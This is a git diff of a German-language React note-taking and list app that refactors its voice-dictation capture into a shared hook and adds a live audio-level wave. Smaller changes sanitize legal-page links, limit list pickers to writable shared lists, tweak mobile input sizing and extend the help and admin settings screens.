<Loader2 className="w-4 h-4 animate-spin" />
|
||||
) : mobileVoiceActive ? (
|
||||
<MicOff className="w-4 h-4" />
|
||||
) : (
|
||||
<Mic className="w-4 h-4" />
|
||||
)}
|
||||
</button>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Priority - 4 Buttons (Identical to TasksView) */}
|
||||
|
||||
@@ -3,6 +3,7 @@ import { AuthStatus } from '../lib/types';
|
||||
import { api } from '../lib/api';
|
||||
import { MarkdownViewer } from '../lib/markdown';
|
||||
import { ReadingModal } from './ReadingModal';
|
||||
import { safeHref } from '../lib/safeUrl';
|
||||
|
||||
type LegalType = 'imprint' | 'privacy';
|
||||
const TITLES: Record<LegalType, string> = { imprint: 'Impressum', privacy: 'Datenschutz' };
|
||||
@@ -41,8 +42,8 @@ export const LegalLinks: React.FC<LegalLinksProps> = ({ legal, className = '', c
|
||||
return (
|
||||
<div className={`flex flex-wrap items-center justify-center gap-x-4 gap-y-1 text-[11px] text-muted ${className}`}>
|
||||
{entries.map((e) =>
|
||||
e.url ? (
|
||||
<a key={e.type} href={e.url} target="_blank" rel="noopener noreferrer" className="hover:text-main underline-offset-2 hover:underline">
|
||||
e.url && safeHref(e.url) ? (
|
||||
<a key={e.type} href={safeHref(e.url) as string} target="_blank" rel="noopener noreferrer" className="hover:text-main underline-offset-2 hover:underline">
|
||||
{TITLES[e.type]}
|
||||
</a>
|
||||
) : (
|
||||
|
||||
@@ -0,0 +1,58 @@
|
||||
import React, { useEffect, useRef } from 'react';
|
||||
|
||||
interface VoiceWaveProps {
|
||||
/** Input level 0..1; null (unknown, e.g. browser recognition) shows a calm idle wave. */
|
||||
getLevel: () => number | null;
|
||||
bars?: number;
|
||||
/** Bar colour and size come from the caller, e.g. "h-4 text-accent". */
|
||||
className?: string;
|
||||
}
|
||||
|
||||
// Live wave reacting to the voice. Heights are set directly on the bars every frame, so React does
|
||||
// not re-render 60 times a second.
|
||||
export const VoiceWave: React.FC<VoiceWaveProps> = ({ getLevel, bars = 5, className = 'h-4 text-accent' }) => {
|
||||
const barRefs = useRef<(HTMLSpanElement | null)[]>([]);
|
||||
const getLevelRef = useRef(getLevel);
|
||||
getLevelRef.current = getLevel;
|
||||
|
||||
useEffect(() => {
|
||||
const history: number[] = new Array(bars).fill(0);
|
||||
let frame = 0;
|
||||
let raf = 0;
|
||||
const reduceMotion = window.matchMedia?.('(prefers-reduced-motion: reduce)').matches;
|
||||
const tick = () => {
|
||||
frame++;
|
||||
const measured = getLevelRef.current();
|
||||
const level = measured ?? 0.25 + 0.2 * Math.sin(frame / 9);
|
||||
// Newest level enters in the middle and travels outwards
|
||||
if (frame % 3 === 0) {
|
||||
history.pop();
|
||||
history.unshift(level);
|
||||
}
|
||||
const mid = Math.floor(bars / 2);
|
||||
barRefs.current.forEach((el, i) => {
|
||||
if (!el) return;
|
||||
const v = reduceMotion ? 0.5 : history[Math.abs(i - mid)] ?? 0;
|
||||
el.style.transform = `scaleY(${Math.max(0.15, Math.min(1, v * 1.4))})`;
|
||||
});
|
||||
raf = requestAnimationFrame(tick);
|
||||
};
|
||||
raf = requestAnimationFrame(tick);
|
||||
return () => cancelAnimationFrame(raf);
|
||||
}, [bars]);
|
||||
|
||||
return (
|
||||
<span className={`inline-flex items-center gap-[3px] ${className}`} aria-hidden="true">
|
||||
{Array.from({ length: bars }, (_, i) => (
|
||||
<span
|
||||
key={i}
|
||||
ref={(el) => {
|
||||
barRefs.current[i] = el;
|
||||
}}
|
||||
className="w-[3px] h-full rounded-full bg-current origin-center transition-transform duration-75"
|
||||
style={{ transform: 'scaleY(0.15)' }}
|
||||
/>
|
||||
))}
|
||||
</span>
|
||||
);
|
||||
};
|
||||
@@ -1,6 +1,8 @@
|
||||
import React, { useEffect, useRef, useState } from 'react';
|
||||
import { Mic, Plus } from 'lucide-react';
|
||||
import { triggerHaptic } from '../../lib/api';
|
||||
import { useVoiceInput } from '../../lib/useVoiceInput';
|
||||
import { VoiceWave } from '../../components/VoiceWave';
|
||||
|
||||
export interface HoldToRecordFabProps {
|
||||
onTap: () => void;
|
||||
@@ -24,14 +26,10 @@ export const HoldToRecordFab: React.FC<HoldToRecordFabProps> = ({ onTap, onTrans
|
||||
const didEnterHoldRef = useRef(false);
|
||||
const fallbackHandledRef = useRef(false);
|
||||
const isCancelZoneRef = useRef(false);
|
||||
const abortedRef = useRef(false);
|
||||
const isStoppingRef = useRef(false);
|
||||
const hasEndedRef = useRef(false);
|
||||
const finalizedRef = useRef(false);
|
||||
const startYRef = useRef(0);
|
||||
const transcriptRef = useRef('');
|
||||
|
||||
const recognitionRef = useRef<any>(null);
|
||||
const holdTimerRef = useRef<number | null>(null);
|
||||
const stopTimerRef = useRef<number | null>(null);
|
||||
const toastTimerRef = useRef<number | null>(null);
|
||||
@@ -50,17 +48,66 @@ export const HoldToRecordFab: React.FC<HoldToRecordFabProps> = ({ onTap, onTrans
|
||||
}
|
||||
};
|
||||
|
||||
const showToast = (msg: string) => {
|
||||
const showToast = (msg: string, sticky = false) => {
|
||||
if (toastTimerRef.current !== null) {
|
||||
window.clearTimeout(toastTimerRef.current);
|
||||
toastTimerRef.current = null;
|
||||
}
|
||||
setToastMessage(msg);
|
||||
if (sticky) return;
|
||||
toastTimerRef.current = window.setTimeout(() => {
|
||||
setToastMessage(null);
|
||||
toastTimerRef.current = null;
|
||||
}, TOAST_DURATION_MS);
|
||||
};
|
||||
|
||||
const finalizeRecording = async (text: string) => {
|
||||
if (finalizedRef.current) return;
|
||||
finalizedRef.current = true;
|
||||
clearStopTimer();
|
||||
setLiveTranscript('');
|
||||
const trimmed = text.trim();
|
||||
if (!trimmed) {
|
||||
showToast('Nichts erkannt');
|
||||
return;
|
||||
}
|
||||
try {
|
||||
await onTranscript(trimmed);
|
||||
triggerHaptic(25);
|
||||
showToast('Im Quick Dump gespeichert');
|
||||
} catch {
|
||||
showToast('Fehler beim Speichern');
|
||||
}
|
||||
};
|
||||
|
||||
// Own Whisper server (text after release) or the browser's recognition (text while speaking)
|
||||
const voice = useVoiceInput({
|
||||
continuous: true,
|
||||
onText: (text, final) => {
|
||||
transcriptRef.current = text;
|
||||
if (!final) {
|
||||
setLiveTranscript(text);
|
||||
return;
|
||||
}
|
||||
void finalizeRecording(text);
|
||||
},
|
||||
onError: (message) => {
|
||||
clearStopTimer();
|
||||
setIsRecording(false);
|
||||
setIsCancelZone(false);
|
||||
setLiveTranscript('');
|
||||
if (didEnterHoldRef.current && isPressedRef.current && !fallbackHandledRef.current) {
|
||||
// Recording could not start: open the normal capture sheet instead
|
||||
fallbackHandledRef.current = true;
|
||||
showToast(message);
|
||||
onTap();
|
||||
return;
|
||||
}
|
||||
finalizedRef.current = true;
|
||||
showToast(message);
|
||||
},
|
||||
});
|
||||
|
||||
useEffect(() => {
|
||||
return () => {
|
||||
clearHoldTimer();
|
||||
@@ -68,112 +115,28 @@ export const HoldToRecordFab: React.FC<HoldToRecordFabProps> = ({ onTap, onTrans
|
||||
if (toastTimerRef.current !== null) {
|
||||
window.clearTimeout(toastTimerRef.current);
|
||||
}
|
||||
if (recognitionRef.current) {
|
||||
try {
|
||||
recognitionRef.current.abort?.();
|
||||
} catch {
|
||||
// ignore cleanup errors
|
||||
}
|
||||
}
|
||||
};
|
||||
}, []);
|
||||
|
||||
const finalizeRecording = async () => {
|
||||
if (finalizedRef.current) return;
|
||||
finalizedRef.current = true;
|
||||
clearStopTimer();
|
||||
recognitionRef.current = null;
|
||||
|
||||
if (abortedRef.current) return;
|
||||
|
||||
const text = transcriptRef.current.trim();
|
||||
setLiveTranscript('');
|
||||
if (!text) {
|
||||
showToast('Nichts erkannt');
|
||||
return;
|
||||
}
|
||||
|
||||
try {
|
||||
await onTranscript(text);
|
||||
triggerHaptic(25);
|
||||
showToast('Im Quick Dump gespeichert');
|
||||
} catch {
|
||||
showToast('Fehler beim Speichern');
|
||||
}
|
||||
};
|
||||
useEffect(() => {
|
||||
if (voice.state === 'transcribing') showToast('Wird erkannt…', true);
|
||||
}, [voice.state]);
|
||||
|
||||
const startVoiceRecording = () => {
|
||||
const SpeechRecognition =
|
||||
(window as any).SpeechRecognition || (window as any).webkitSpeechRecognition;
|
||||
|
||||
if (!SpeechRecognition) {
|
||||
if (voice.mode === 'off' || voice.mode === 'unsupported') {
|
||||
fallbackHandledRef.current = true;
|
||||
showToast('Spracheingabe wird von diesem Browser nicht unterstützt');
|
||||
if (voice.mode === 'unsupported') showToast('Spracheingabe wird von diesem Browser nicht unterstützt');
|
||||
onTap();
|
||||
return;
|
||||
}
|
||||
|
||||
try {
|
||||
const recognition = new SpeechRecognition();
|
||||
recognition.lang = 'de-DE';
|
||||
recognition.interimResults = true;
|
||||
recognition.continuous = true;
|
||||
|
||||
transcriptRef.current = '';
|
||||
abortedRef.current = false;
|
||||
isStoppingRef.current = false;
|
||||
hasEndedRef.current = false;
|
||||
finalizedRef.current = false;
|
||||
isCancelZoneRef.current = false;
|
||||
|
||||
recognition.onresult = (event: any) => {
|
||||
let combined = '';
|
||||
for (let i = 0; i < event.results.length; i++) {
|
||||
combined += event.results[i][0].transcript;
|
||||
}
|
||||
transcriptRef.current = combined;
|
||||
setLiveTranscript(combined);
|
||||
};
|
||||
|
||||
recognition.onerror = (event: any) => {
|
||||
const errCode = event?.error;
|
||||
if (errCode === 'not-allowed' || errCode === 'service-not-allowed') {
|
||||
abortedRef.current = true;
|
||||
clearStopTimer();
|
||||
setIsRecording(false);
|
||||
setIsCancelZone(false);
|
||||
setLiveTranscript('');
|
||||
if (!fallbackHandledRef.current) {
|
||||
fallbackHandledRef.current = true;
|
||||
showToast('Mikrofon nicht freigegeben');
|
||||
onTap();
|
||||
}
|
||||
return;
|
||||
}
|
||||
if (isStoppingRef.current) {
|
||||
void finalizeRecording();
|
||||
}
|
||||
};
|
||||
|
||||
recognition.onend = () => {
|
||||
hasEndedRef.current = true;
|
||||
if (isStoppingRef.current) {
|
||||
void finalizeRecording();
|
||||
}
|
||||
};
|
||||
|
||||
recognitionRef.current = recognition;
|
||||
setLiveTranscript('');
|
||||
setIsCancelZone(false);
|
||||
setIsRecording(true);
|
||||
triggerHaptic([15, 60, 25]);
|
||||
recognition.start();
|
||||
} catch {
|
||||
fallbackHandledRef.current = true;
|
||||
setIsRecording(false);
|
||||
showToast('Spracheingabe wird von diesem Browser nicht unterstützt');
|
||||
onTap();
|
||||
}
|
||||
void voice.start();
|
||||
};
|
||||
|
||||
const handlePointerDown = (e: React.PointerEvent<HTMLButtonElement>) => {
|
||||
@@ -240,34 +203,23 @@ export const HoldToRecordFab: React.FC<HoldToRecordFabProps> = ({ onTap, onTrans
|
||||
setIsCancelZone(false);
|
||||
|
||||
if (isCancelZoneRef.current) {
|
||||
abortedRef.current = true;
|
||||
finalizedRef.current = true;
|
||||
clearStopTimer();
|
||||
setLiveTranscript('');
|
||||
triggerHaptic(15);
|
||||
try {
|
||||
recognitionRef.current?.abort?.();
|
||||
} catch {
|
||||
// ignore
|
||||
}
|
||||
recognitionRef.current = null;
|
||||
return;
|
||||
}
|
||||
|
||||
isStoppingRef.current = true;
|
||||
if (hasEndedRef.current || !recognitionRef.current) {
|
||||
void finalizeRecording();
|
||||
voice.cancel();
|
||||
return;
|
||||
}
|
||||
|
||||
// The browser's recognition sometimes never reports its end: save what was heard after a moment.
|
||||
// The own server answers when it is done (with its own time limit).
|
||||
if (voice.mode !== 'server') {
|
||||
stopTimerRef.current = window.setTimeout(() => {
|
||||
void finalizeRecording();
|
||||
voice.cancel();
|
||||
void finalizeRecording(transcriptRef.current);
|
||||
}, STOP_TIMEOUT_MS);
|
||||
|
||||
try {
|
||||
recognitionRef.current.stop();
|
||||
} catch {
|
||||
void finalizeRecording();
|
||||
}
|
||||
void voice.stop();
|
||||
};
|
||||
|
||||
const handlePointerCancel = (e: React.PointerEvent<HTMLButtonElement>) => {
|
||||
@@ -283,16 +235,11 @@ export const HoldToRecordFab: React.FC<HoldToRecordFabProps> = ({ onTap, onTrans
|
||||
clearStopTimer();
|
||||
|
||||
if (didEnterHoldRef.current && !fallbackHandledRef.current) {
|
||||
abortedRef.current = true;
|
||||
finalizedRef.current = true;
|
||||
setIsRecording(false);
|
||||
setIsCancelZone(false);
|
||||
setLiveTranscript('');
|
||||
try {
|
||||
recognitionRef.current?.abort?.();
|
||||
} catch {
|
||||
// ignore
|
||||
}
|
||||
recognitionRef.current = null;
|
||||
voice.cancel();
|
||||
}
|
||||
};
|
||||
|
||||
@@ -313,7 +260,8 @@ export const HoldToRecordFab: React.FC<HoldToRecordFabProps> = ({ onTap, onTrans
|
||||
<div className="text-xs font-semibold">🗑️ Zum Abbrechen loslassen</div>
|
||||
) : (
|
||||
<div className="space-y-1">
|
||||
<div className="text-xs font-semibold text-main">
|
||||
<div className="text-xs font-semibold text-main flex items-center justify-center gap-2">
|
||||
{voice.mode === 'server' && <VoiceWave getLevel={voice.level} bars={7} className="h-4 text-accent" />}
|
||||
Ich höre zu… (loslassen speichert)
|
||||
</div>
|
||||
{displayedTranscript ? (
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
import React, { useEffect, useRef, useState } from 'react';
|
||||
import React, { useEffect, useRef, useState, useMemo } from 'react';
|
||||
import {
|
||||
Mic,
|
||||
MicOff,
|
||||
@@ -13,9 +13,12 @@ import {
|
||||
ChevronDown,
|
||||
AlertTriangle,
|
||||
Flame,
|
||||
Loader2,
|
||||
} from 'lucide-react';
|
||||
import { PriorityLevel, SharedList, Thought } from '../../lib/types';
|
||||
import { api, triggerHaptic } from '../../lib/api';
|
||||
import { useVoiceInput } from '../../lib/useVoiceInput';
|
||||
import { VoiceWave } from '../../components/VoiceWave';
|
||||
|
||||
export type CaptureTarget = 'inbox' | 'task' | 'list_item' | 'document';
|
||||
|
||||
@@ -38,23 +41,39 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
|
||||
hideTargetPicker = false,
|
||||
fixedTarget,
|
||||
}) => {
|
||||
// Read-only shared lists cannot take new items; stable reference for the effect below
|
||||
const writableLists = useMemo(() => lists.filter((l) => l.isOwner || l.role !== 'viewer'), [lists]);
|
||||
const [content, setContent] = useState('');
|
||||
const [priority, setPriority] = useState<PriorityLevel>('normal');
|
||||
const [dueDate, setDueDate] = useState('');
|
||||
const [target, setTarget] = useState<CaptureTarget>(fixedTarget || 'inbox');
|
||||
const [targetListId, setTargetListId] = useState<string>('');
|
||||
const [showOptions, setShowOptions] = useState(defaultShowOptions || hideTargetPicker);
|
||||
const [isListening, setIsListening] = useState(false);
|
||||
const [voiceError, setVoiceError] = useState<string | null>(null);
|
||||
const [isSubmitting, setIsSubmitting] = useState(false);
|
||||
const [justSavedLabel, setJustSavedLabel] = useState<string | null>(null);
|
||||
const [isMultiline, setIsMultiline] = useState(false);
|
||||
|
||||
const inputRef = useRef<HTMLTextAreaElement>(null);
|
||||
const containerRef = useRef<HTMLFormElement>(null);
|
||||
const recognitionRef = useRef<any>(null);
|
||||
const baseVoiceTextRef = useRef('');
|
||||
const hasVoiceInputRef = useRef(false);
|
||||
|
||||
// Voice input: own Whisper server or the browser's recognition (lib/voice.ts)
|
||||
const voice = useVoiceInput({
|
||||
onText: (text, final) => {
|
||||
const base = baseVoiceTextRef.current;
|
||||
if (text) setContent(base ? `${base} ${text}` : text);
|
||||
if (final) inputRef.current?.focus();
|
||||
},
|
||||
onError: (message) => {
|
||||
setVoiceError(message);
|
||||
window.setTimeout(() => setVoiceError(null), 4000);
|
||||
},
|
||||
});
|
||||
const isListening = voice.state === 'listening';
|
||||
const isTranscribing = voice.state === 'transcribing';
|
||||
|
||||
const adjustHeight = (el?: HTMLTextAreaElement | null) => {
|
||||
const targetEl = el || inputRef.current;
|
||||
if (!targetEl) return;
|
||||
@@ -77,10 +96,10 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
|
||||
}, [autoFocusTrigger]);
|
||||
|
||||
useEffect(() => {
|
||||
if (!targetListId && lists.length > 0) {
|
||||
setTargetListId(lists[0].id);
|
||||
if (!targetListId && writableLists.length > 0) {
|
||||
setTargetListId(writableLists[0].id);
|
||||
}
|
||||
}, [lists, targetListId]);
|
||||
}, [writableLists, targetListId]);
|
||||
|
||||
// Close dropdown on outside click
|
||||
useEffect(() => {
|
||||
@@ -118,57 +137,13 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
|
||||
}, []);
|
||||
|
||||
const toggleVoiceDictation = () => {
|
||||
const SpeechRecognition =
|
||||
(window as any).SpeechRecognition || (window as any).webkitSpeechRecognition;
|
||||
|
||||
if (!SpeechRecognition) {
|
||||
alert('Spracheingabe wird von diesem Browser nicht direkt unterstützt (bitte Chrome, Edge oder Safari nutzen).');
|
||||
return;
|
||||
}
|
||||
|
||||
if (isListening && recognitionRef.current) {
|
||||
recognitionRef.current.stop();
|
||||
setIsListening(false);
|
||||
return;
|
||||
}
|
||||
|
||||
try {
|
||||
if (voice.state === 'idle') {
|
||||
baseVoiceTextRef.current = content.replace(/\s*\[…\]$/, '').trim();
|
||||
hasVoiceInputRef.current = true;
|
||||
|
||||
const recognition = new SpeechRecognition();
|
||||
recognition.lang = 'de-DE';
|
||||
recognition.continuous = false;
|
||||
recognition.interimResults = true;
|
||||
|
||||
recognition.onstart = () => {
|
||||
setIsListening(true);
|
||||
setVoiceError(null);
|
||||
triggerHaptic(20);
|
||||
};
|
||||
|
||||
recognition.onresult = (event: any) => {
|
||||
let transcript = '';
|
||||
for (let i = 0; i < event.results.length; i++) {
|
||||
transcript += event.results[i][0].transcript;
|
||||
}
|
||||
const base = baseVoiceTextRef.current;
|
||||
setContent(base ? `${base} ${transcript}` : transcript);
|
||||
};
|
||||
|
||||
recognition.onerror = () => {
|
||||
setIsListening(false);
|
||||
};
|
||||
|
||||
recognition.onend = () => {
|
||||
setIsListening(false);
|
||||
inputRef.current?.focus();
|
||||
};
|
||||
|
||||
recognitionRef.current = recognition;
|
||||
recognition.start();
|
||||
} catch {
|
||||
setIsListening(false);
|
||||
}
|
||||
voice.toggle();
|
||||
};
|
||||
|
||||
const executeCapture = async (
|
||||
@@ -180,11 +155,13 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
|
||||
|
||||
const effectiveTarget = fixedTarget || overrideTarget || target;
|
||||
const effectiveListId =
|
||||
overrideListId || targetListId || (lists.length > 0 ? lists[0].id : '');
|
||||
overrideListId || targetListId || (writableLists.length > 0 ? writableLists[0].id : '');
|
||||
const capturedPriority = priority;
|
||||
const capturedDueDate = dueDate;
|
||||
const capturedSource = hasVoiceInputRef.current || isListening ? 'voice' : 'manual';
|
||||
hasVoiceInputRef.current = false;
|
||||
// A recognition still running would refill the field after it was saved
|
||||
if (voice.state !== 'idle') voice.cancel();
|
||||
|
||||
// Optimistically clear input immediately so the UI feels instant (<10ms) in all browsers
|
||||
setContent('');
|
||||
@@ -236,7 +213,7 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
|
||||
await executeCapture();
|
||||
};
|
||||
|
||||
const selectedList = lists.find((l) => l.id === targetListId) || lists[0];
|
||||
const selectedList = writableLists.find((l) => l.id === targetListId) || writableLists[0];
|
||||
|
||||
const getTargetLabel = () => {
|
||||
if (target === 'task') return 'Direkt-Aufgabe';
|
||||
@@ -283,8 +260,12 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
|
||||
}
|
||||
}}
|
||||
placeholder={
|
||||
isListening
|
||||
voiceError
|
||||
? voiceError
|
||||
: isListening
|
||||
? 'Ich höre zu…'
|
||||
: isTranscribing
|
||||
? 'Wird erkannt…'
|
||||
: hideTargetPicker || fixedTarget === 'inbox'
|
||||
? 'Quick Dump erfassen… (Enter zum Speichern)'
|
||||
: target === 'task'
|
||||
@@ -334,19 +315,33 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
|
||||
</button>
|
||||
)}
|
||||
|
||||
{/* Voice Dictation Button */}
|
||||
{/* Voice Dictation Button (hidden when voice input is off or not supported) */}
|
||||
{voice.available && (
|
||||
<>
|
||||
{isListening && voice.mode === 'server' && (
|
||||
<VoiceWave getLevel={voice.level} className="h-3.5 text-accent" />
|
||||
)}
|
||||
<button
|
||||
type="button"
|
||||
onClick={toggleVoiceDictation}
|
||||
title="Spracheingabe"
|
||||
disabled={isTranscribing}
|
||||
title={isListening ? 'Aufnahme beenden' : isTranscribing ? 'Wird erkannt…' : 'Spracheingabe'}
|
||||
className={`w-6 h-6 capture-pill rounded-full flex items-center justify-center transition-colors ${
|
||||
isListening
|
||||
isListening || isTranscribing
|
||||
? 'bg-accent-dim text-accent'
|
||||
: 'text-muted hover:text-main hover:bg-panel-elevated'
|
||||
}`}
|
||||
>
|
||||
{isListening ? <MicOff className="w-3 h-3" /> : <Mic className="w-3 h-3" />}
|
||||
{isTranscribing ? (
|
||||
<Loader2 className="w-3 h-3 animate-spin" />
|
||||
) : isListening ? (
|
||||
<MicOff className="w-3 h-3" />
|
||||
) : (
|
||||
<Mic className="w-3 h-3" />
|
||||
)}
|
||||
</button>
|
||||
</>
|
||||
)}
|
||||
|
||||
{/* Instant Send Button */}
|
||||
<button
|
||||
@@ -449,8 +444,8 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
|
||||
type="button"
|
||||
onClick={() => {
|
||||
setTarget('list_item');
|
||||
if (!targetListId && lists.length > 0) {
|
||||
setTargetListId(lists[0].id);
|
||||
if (!targetListId && writableLists.length > 0) {
|
||||
setTargetListId(writableLists[0].id);
|
||||
}
|
||||
}}
|
||||
className={`min-h-[36px] px-2.5 border rounded-btn flex items-center gap-1.5 text-left transition-colors cursor-pointer ${
|
||||
@@ -485,13 +480,13 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
|
||||
</div>
|
||||
|
||||
{/* Optional Sub-Row: Shared List Picker */}
|
||||
{lists.length > 0 && (
|
||||
{writableLists.length > 0 && (
|
||||
<div className="pt-2 border-t border-border flex flex-wrap items-center gap-1.5">
|
||||
<span className="text-muted mr-1 flex items-center gap-1">
|
||||
<ShoppingCart className="w-3 h-3 text-accent" />
|
||||
Liste:
|
||||
</span>
|
||||
{lists.map((lst) => {
|
||||
{writableLists.map((lst) => {
|
||||
const isSelected = target === 'list_item' && targetListId === lst.id;
|
||||
return (
|
||||
<button
|
||||
|
||||
@@ -159,6 +159,15 @@ export const HelpView: React.FC<HelpViewProps> = ({ onBack }) => {
|
||||
'code',
|
||||
'callout',
|
||||
'divider',
|
||||
'bild',
|
||||
'extract',
|
||||
'auslagern',
|
||||
'zusammenführen',
|
||||
'audio',
|
||||
'sprachnotiz',
|
||||
'diktat',
|
||||
'image',
|
||||
'foto',
|
||||
'auto-formatting',
|
||||
],
|
||||
content: (
|
||||
@@ -192,6 +201,22 @@ export const HelpView: React.FC<HelpViewProps> = ({ onBack }) => {
|
||||
<span className="text-accent font-bold">—</span>
|
||||
<span>/divider (Trennlinie)</span>
|
||||
</div>
|
||||
<div className="p-1.5 bg-panel rounded border border-border flex items-center gap-1.5 text-main col-span-2">
|
||||
<span className="text-accent font-bold">🖼️</span>
|
||||
<span>/image oder /bild (Bild hochladen, fotografieren, einfügen oder per Link; nur im leeren Punkt)</span>
|
||||
</div>
|
||||
<div className="p-1.5 bg-panel rounded border border-border flex items-center gap-1.5 text-main col-span-2">
|
||||
<span className="text-accent font-bold">📤</span>
|
||||
<span>/extract oder /notiz (Punkt mit allen Unterpunkten in eine eigene Notiz auslagern, an seiner Stelle bleibt ein [[Link]])</span>
|
||||
</div>
|
||||
<div className="p-1.5 bg-panel rounded border border-border flex items-center gap-1.5 text-main col-span-2">
|
||||
<span className="text-accent font-bold">🎙️</span>
|
||||
<span>/audio (Sprachnotiz aufnehmen: grüner Knopf startet, roter speichert; oder Audiodatei hochladen)</span>
|
||||
</div>
|
||||
<div className="p-1.5 bg-panel rounded border border-border flex items-center gap-1.5 text-main col-span-2">
|
||||
<span className="text-accent font-bold">🗣️</span>
|
||||
<span>/diktat (sprechen statt tippen: startet sofort, Tipp auf „Stopp“ setzt den Text in den Punkt)</span>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div className="pt-2 border-t border-border">
|
||||
|
||||
@@ -766,13 +766,16 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
|
||||
return result;
|
||||
}, [openItems]);
|
||||
|
||||
const focusNewItemInput = () => {
|
||||
inputRef.current?.focus({ preventScroll: true });
|
||||
inputRef.current?.scrollIntoView({ behavior: 'smooth', block: 'center' });
|
||||
};
|
||||
|
||||
// Register context-sensitive mobile menu groups behind the MindSift logo
|
||||
useEffect(() => {
|
||||
setPrimaryAction(() => {
|
||||
setTimeout(() => {
|
||||
inputRef.current?.focus();
|
||||
inputRef.current?.scrollIntoView({ behavior: 'smooth', block: 'center' });
|
||||
}, 60);
|
||||
// Focus right inside the tap: iOS only opens the keyboard for focus() during the user gesture
|
||||
focusNewItemInput();
|
||||
});
|
||||
|
||||
setGroups([
|
||||
@@ -786,10 +789,7 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
|
||||
icon: <Plus className="w-4 h-4 text-accent" />,
|
||||
variant: 'accent',
|
||||
onClick: () => {
|
||||
setTimeout(() => {
|
||||
inputRef.current?.focus();
|
||||
inputRef.current?.scrollIntoView({ behavior: 'smooth', block: 'center' });
|
||||
}, 60);
|
||||
focusNewItemInput();
|
||||
},
|
||||
},
|
||||
{
|
||||
@@ -1081,7 +1081,8 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
|
||||
setTimeout(() => setShowSuggestions(false), 200);
|
||||
}}
|
||||
placeholder={`Eintrag zu "${activeList.title}" hinzufügen (z. B. Hafermilch #Kühlregal)…`}
|
||||
className="flex-1 bg-transparent py-1.5 sm:py-1 text-sm text-main placeholder-faint focus:outline-none"
|
||||
// 16px on phones: iOS zooms into smaller fields and the layout jumps under the keyboard
|
||||
className="flex-1 bg-transparent py-1.5 sm:py-1 text-base sm:text-sm text-main placeholder-faint focus:outline-none"
|
||||
/>
|
||||
|
||||
{/* Hashtag Autocomplete Suggestions Dropdown */}
|
||||
@@ -1122,10 +1123,11 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
|
||||
<div className="flex items-center gap-1.5 w-full sm:w-auto justify-end px-1 sm:px-0">
|
||||
<input
|
||||
type="text"
|
||||
inputMode="decimal"
|
||||
value={newItemQty}
|
||||
onChange={(e) => setNewItemQty(e.target.value.replace(/[^0-9.,xX]/g, ''))}
|
||||
placeholder="Menge (z.B. 2)"
|
||||
className="flex-1 sm:flex-none sm:w-28 h-9 sm:h-7 px-2.5 sm:px-2 input-field text-xs"
|
||||
className="flex-1 sm:flex-none sm:w-28 h-11 sm:h-7 px-2.5 sm:px-2 input-field text-base sm:text-xs"
|
||||
/>
|
||||
<button
|
||||
type="submit"
|
||||
@@ -1252,7 +1254,7 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
|
||||
onBlur={async () => {
|
||||
await handleSaveQuantity(item.id, editingQtyValue);
|
||||
}}
|
||||
className="w-16 h-6 px-1.5 text-xs input-field font-semibold text-accent text-center"
|
||||
className="w-16 h-8 sm:h-6 px-1.5 text-base sm:text-xs input-field font-semibold text-accent text-center"
|
||||
placeholder="Menge"
|
||||
/>
|
||||
</div>
|
||||
@@ -1366,7 +1368,7 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
|
||||
onBlur={async () => {
|
||||
await handleSaveQuantity(item.id, editingQtyValue);
|
||||
}}
|
||||
className="w-16 h-6 px-1.5 text-xs input-field font-semibold text-accent text-center"
|
||||
className="w-16 h-8 sm:h-6 px-1.5 text-base sm:text-xs input-field font-semibold text-accent text-center"
|
||||
placeholder="Menge"
|
||||
/>
|
||||
</div>
|
||||
|
||||
@@ -29,6 +29,7 @@ import { passwordProblem } from '../../lib/password';
|
||||
import { UserAvatar } from '../../components/UserAvatar';
|
||||
import { ToggleSwitch } from '../../components/ToggleSwitch';
|
||||
import { BackupAdminCard } from './BackupAdminCard';
|
||||
import { VoiceStatusCard } from './VoiceStatusCard';
|
||||
import { CountBadge } from '../../components/CountBadge';
|
||||
|
||||
interface AdminSettingsViewProps {
|
||||
@@ -102,6 +103,7 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
|
||||
smtpUser: '',
|
||||
smtpPass: '',
|
||||
smtpFrom: '',
|
||||
smtpFromName: '',
|
||||
smtpTls: true,
|
||||
smtpSkipVerify: false,
|
||||
smtpConfiguredViaEnv: false,
|
||||
@@ -132,6 +134,7 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
|
||||
smtpUser: sys.smtpUser || '',
|
||||
smtpPass: sys.smtpPass || '',
|
||||
smtpFrom: sys.smtpFrom || '',
|
||||
smtpFromName: sys.smtpFromName || '',
|
||||
smtpTls: sys.smtpTls ?? true,
|
||||
smtpSkipVerify: Boolean(sys.smtpSkipVerify),
|
||||
allowPrivateWebhooks: Boolean(sys.allowPrivateWebhooks),
|
||||
@@ -146,8 +149,14 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
|
||||
}
|
||||
};
|
||||
|
||||
// Read-only in the public demo (FLAW-33)
|
||||
const [demoMode, setDemoMode] = useState(false);
|
||||
useEffect(() => {
|
||||
loadAll();
|
||||
api
|
||||
.getAuthStatus()
|
||||
.then((st) => setDemoMode(Boolean(st.demoMode)))
|
||||
.catch(() => {});
|
||||
}, []);
|
||||
|
||||
// ============================================================================
|
||||
